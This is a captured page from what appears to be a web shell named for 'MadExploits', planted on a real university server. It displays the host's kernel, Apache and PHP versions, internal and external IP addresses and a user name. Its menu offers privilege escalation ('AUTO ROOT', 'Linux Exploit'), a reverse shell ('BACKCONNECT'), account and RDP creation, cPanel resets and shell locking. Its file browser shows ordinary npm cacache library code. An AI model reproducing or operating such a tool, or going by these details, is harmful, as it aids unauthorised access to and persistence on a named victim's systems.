Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.15.198.69
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
cacache /
lib /
util /
[ HOME SHELL ]
Name
Size
Permission
Action
fix-owner.js
2.33
KB
-rw-r--r--
hash-to-segments.js
159
B
-rw-r--r--
move-file.js
1.72
KB
-rw-r--r--
tmp.js
956
B
-rw-r--r--
y.js
538
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : move-file.js
'use strict' const fs = require('graceful-fs') const BB = require('bluebird') const chmod = BB.promisify(fs.chmod) const unlink = BB.promisify(fs.unlink) let move let pinflight module.exports = moveFile function moveFile (src, dest) { // This isn't quite an fs.rename -- the assumption is that // if `dest` already exists, and we get certain errors while // trying to move it, we should just not bother. // // In the case of cache corruption, users will receive an // EINTEGRITY error elsewhere, and can remove the offending // content their own way. // // Note that, as the name suggests, this strictly only supports file moves. return BB.fromNode(cb => { fs.link(src, dest, err => { if (err) { if (err.code === 'EEXIST' || err.code === 'EBUSY') { // file already exists, so whatever } else if (err.code === 'EPERM' && process.platform === 'win32') { // file handle stayed open even past graceful-fs limits } else { return cb(err) } } return cb() }) }).then(() => { // content should never change for any reason, so make it read-only return BB.join(unlink(src), process.platform !== 'win32' && chmod(dest, '0444')) }).catch(() => { if (!pinflight) { pinflight = require('promise-inflight') } return pinflight('cacache-move-file:' + dest, () => { return BB.promisify(fs.stat)(dest).catch(err => { if (err.code !== 'ENOENT') { // Something else is wrong here. Bail bail bail throw err } // file doesn't already exist! let's try a rename -> copy fallback if (!move) { move = require('move-concurrently') } return move(src, dest, { BB, fs }) }) }) }) }
Close